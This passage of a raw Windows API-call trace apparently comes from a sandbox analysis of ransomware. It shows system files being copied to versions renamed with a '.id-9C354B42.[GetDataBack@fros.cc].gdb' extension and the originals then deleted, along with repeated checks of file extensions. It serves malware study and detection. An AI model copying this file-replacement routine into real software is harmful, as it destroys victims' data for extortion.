(lpString1=".DLL", lpString2=".gdb") returned -1 [0131.404] lstrlenW (lpString="DBGHELP.DLL") returned 11 [0131.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0131.686] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=1369952) returned 1 [0131.686] CloseHandle (hObject=0x220) returned 1 [0131.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 0x20 [0131.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0131.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0131.687] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0131.687] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0131.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0132.010] GetLastError () returned 0x0 [0132.010] ReadFile (in: hFile=0x220, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0xffff0, lpOverlapped=0x0) returned 1 [0132.031] WriteFile (in: hFile=0x214, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0xffff0, lpOverlapped=0x0) returned 1 [0132.045] ReadFile (in: hFile=0x220, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0x4e770, lpOverlapped=0x0) returned 1 [0132.160] WriteFile (in: hFile=0x214, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0x4e780, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0x4e780, lpOverlapped=0x0) returned 1 [0132.167] ReadFile (in: hFile=0x220, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0x0, lpOverlapped=0x0) returned 1 [0132.167] WriteFile (in: hFile=0x214, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0xea, lpOverlapped=0x0) returned 1 [0132.167] SetEndOfFile (hFile=0x214) returned 1 [0132.167] CloseHandle (hObject=0x214) returned 1 [0132.167] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0132.167] SetEndOfFile (hFile=0x220) returned 1 [0132.170] CloseHandle (hObject=0x220) returned 1 [0132.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0132.170] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 1 [0132.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0132.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0132.171] lstrlenW (lpString=".doc") returned 4 [0132.171] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0132.171] lstrlenW (lpString=".docx") returned 5 [0132.171] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0132.171] lstrlenW (lpString=".pdf") returned 4 [0132.171] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0132.171] lstrlenW (lpString=".xls") returned 4 [0132.171] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0132.171] lstrlenW (lpString=".xlsx") returned 5 [0132.171] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0132.171] lstrlenW (lpString=".ppt") returned 4 [0132.171] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0132.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0132.171] lstrlenW (lpString=".zip") returned 4 [0132.171] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0132.171] lstrlenW (lpString=".rar") returned 4 [0132.171] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0132.171] lstrlenW (lpString=".bz2") returned 4 [0132.171] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0132.171] lstrlenW (lpString=".7z") returned 3 [0132.171] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0132.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0132.171] lstrlenW (lpString=".dbf") returned 4 [0132.171] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0132.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0132.171] lstrlenW (lpString=".1cd") returned 4 [0132.171] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0132.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0132.182] lstrlenW (lpString=".jpg") returned 4 [0132.182] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0132.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0132.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0132.182] lstrlenW (lpString=".doc") returned 4 [0132.182] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0132.183] lstrlenW (lpString=".docx") returned 5 [0132.183] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0132.183] lstrlenW (lpString=".pdf") returned 4 [0132.183] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0132.183] lstrlenW (lpString=".xls") returned 4 [0132.183] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0132.183] lstrlenW (lpString=".xlsx") returned 5 [0132.183] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0132.183] lstrlenW (lpString=".ppt") returned 4 [0132.183] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0132.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0132.183] lstrlenW (lpString=".zip") returned 4 [0132.183] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0132.183] lstrlenW (lpString=".rar") returned 4 [0132.183] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0132.183] lstrlenW (lpString=".bz2") returned 4 [0132.183] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0132.183] lstrlenW (lpString=".7z") returned 3 [0132.183] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0132.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0132.183] lstrlenW (lpString=".dbf") returned 4 [0132.183] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0132.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0132.183] lstrlenW (lpString=".1cd") returned 4 [0132.183] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0132.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0132.183] lstrlenW (lpString=".jpg") returned 4 [0132.183] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0132.183] lstrcmpiW (lpString1=".FLT", lpString2=".gdb") returned -1 [0132.183] lstrlenW (lpString="EPSIMP32.FLT") returned 12 [0132.184] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0132.184] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=712592) returned 1 [0132.184] CloseHandle (hObject=0x220) returned 1 [0132.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt")) returned 0x20 [0132.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0132.184] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0132.184] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0132.184] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0132.184] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0132.185] GetLastError () returned 0x0 [0132.185] ReadFile (in: hFile=0x220, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0xadf90, lpOverlapped=0x0) returned 1 [0132.297] WriteFile (in: hFile=0x214, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xadfa0, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0xadfa0, lpOverlapped=0x0) returned 1 [0132.307] ReadFile (in: hFile=0x220, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0x0, lpOverlapped=0x0) returned 1 [0132.307] WriteFile (in: hFile=0x214, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0xec, lpOverlapped=0x0) returned 1 [0132.307] SetEndOfFile (hFile=0x214) returned 1 [0132.307] CloseHandle (hObject=0x214) returned 1 [0132.307] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0132.307] SetEndOfFile (hFile=0x220) returned 1 [0132.313] CloseHandle (hObject=0x220) returned 1 [0132.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0132.313] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt")) returned 1 [0132.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0132.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0132.313] lstrlenW (lpString=".doc") returned 4 [0132.313] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0132.313] lstrlenW (lpString=".docx") returned 5 [0132.313] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0132.313] lstrlenW (lpString=".pdf") returned 4 [0132.313] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0132.313] lstrlenW (lpString=".xls") returned 4 [0132.313] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0132.313] lstrlenW (lpString=".xlsx") returned 5 [0132.313] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0132.313] lstrlenW (lpString=".ppt") returned 4 [0132.313] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0132.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0132.313] lstrlenW (lpString=".zip") returned 4 [0132.314] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0132.314] lstrlenW (lpString=".rar") returned 4 [0132.314] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0132.314] lstrlenW (lpString=".bz2") returned 4 [0132.314] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0132.314] lstrlenW (lpString=".7z") returned 3 [0132.314] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0132.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0132.314] lstrlenW (lpString=".dbf") returned 4 [0132.314] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0132.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0132.314] lstrlenW (lpString=".1cd") returned 4 [0132.314] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0132.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0132.314] lstrlenW (lpString=".jpg") returned 4 [0132.314] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0132.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0132.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0132.314] lstrlenW (lpString=".doc") returned 4 [0132.314] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0132.314] lstrlenW (lpString=".docx") returned 5 [0132.314] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0132.314] lstrlenW (lpString=".pdf") returned 4 [0132.314] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0132.314] lstrlenW (lpString=".xls") returned 4 [0132.314] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0132.314] lstrlenW (lpString=".xlsx") returned 5 [0132.314] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0132.314] lstrlenW (lpString=".ppt") returned 4 [0132.314] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0132.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0132.314] lstrlenW (lpString=".zip") returned 4 [0132.314] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0132.314] lstrlenW (lpString=".rar") returned 4 [0132.314] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0132.314] lstrlenW (lpString=".bz2") returned 4 [0132.314] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0132.314] lstrlenW (lpString=".7z") returned 3 [0132.314] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0132.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0132.314] lstrlenW (lpString=".dbf") returned 4 [0132.314] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0132.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0132.314] lstrlenW (lpString=".1cd") returned 4 [0132.314] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0132.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0132.314] lstrlenW (lpString=".jpg") returned 4 [0132.315] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0132.315] lstrcmpiW (lpString1=".FLT", lpString2=".gdb") returned -1 [0132.315] lstrlenW (lpString="GIFIMP32.FLT") returned 12 [0132.315] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0132.345] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=320384) returned 1 [0132.345] CloseHandle (hObject=0x1fc) returned 1 [0132.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt")) returned 0x20 [0132.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0132.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0132.345] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0132.345] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0132.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0132.346] GetLastError () returned 0x0 [0132.346] ReadFile (in: hFile=0x1fc, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0x4e380, lpOverlapped=0x0) returned 1 [0132.353] WriteFile (in: hFile=0x1b0, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0x4e390, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0x4e390, lpOverlapped=0x0) returned 1 [0132.364] ReadFile (in: hFile=0x1fc, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0x0, lpOverlapped=0x0) returned 1 [0132.364] WriteFile (in: hFile=0x1b0, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0xec, lpOverlapped=0x0) returned 1 [0132.364] SetEndOfFile (hFile=0x1b0) returned 1 [0132.365] CloseHandle (hObject=0x1b0) returned 1 [0132.365] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0132.365] SetEndOfFile (hFile=0x1fc) returned 1 [0132.368] CloseHandle (hObject=0x1fc) returned 1 [0132.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0132.368] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt")) returned 1 [0132.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0132.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0132.369] lstrlenW (lpString=".doc") returned 4 [0132.369] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0132.369] lstrlenW (lpString=".docx") returned 5 [0132.369] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0132.369] lstrlenW (lpString=".pdf") returned 4 [0132.369] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0132.369] lstrlenW (lpString=".xls") returned 4 [0132.369] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0132.369] lstrlenW (lpString=".xlsx") returned 5 [0132.369] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0132.369] lstrlenW (lpString=".ppt") returned 4 [0132.369] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0132.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0132.369] lstrlenW (lpString=".zip") returned 4 [0132.369] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0132.369] lstrlenW (lpString=".rar") returned 4 [0132.369] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0132.369] lstrlenW (lpString=".bz2") returned 4 [0132.369] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0132.369] lstrlenW (lpString=".7z") returned 3 [0132.369] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0132.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0132.369] lstrlenW (lpString=".dbf") returned 4 [0132.369] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0132.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0132.369] lstrlenW (lpString=".1cd") returned 4 [0132.369] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0132.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0132.369] lstrlenW (lpString=".jpg") returned 4 [0132.370] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0132.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0132.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0132.370] lstrlenW (lpString=".doc") returned 4 [0132.370] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0132.370] lstrlenW (lpString=".docx") returned 5 [0132.370] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0132.370] lstrlenW (lpString=".pdf") returned 4 [0132.370] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0132.370] lstrlenW (lpString=".xls") returned 4 [0132.370] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0132.370] lstrlenW (lpString=".xlsx") returned 5 [0132.370] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0132.370] lstrlenW (lpString=".ppt") returned 4 [0132.370] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0132.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0132.370] lstrlenW (lpString=".zip") returned 4 [0132.370] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0132.370] lstrlenW (lpString=".rar") returned 4 [0132.370] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0132.370] lstrlenW (lpString=".bz2") returned 4 [0132.370] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0132.370] lstrlenW (lpString=".7z") returned 3 [0132.370] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0132.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0132.370] lstrlenW (lpString=".dbf") returned 4 [0132.370] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0132.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0132.370] lstrlenW (lpString=".1cd") returned 4 [0132.370] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0132.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0132.370] lstrlenW (lpString=".jpg") returned 4 [0132.370] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0132.371] lstrcmpiW (lpString1=".WPG", lpString2=".gdb") returned 1 [0132.371] lstrlenW (lpString="MS.WPG") returned 6 [0132.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common 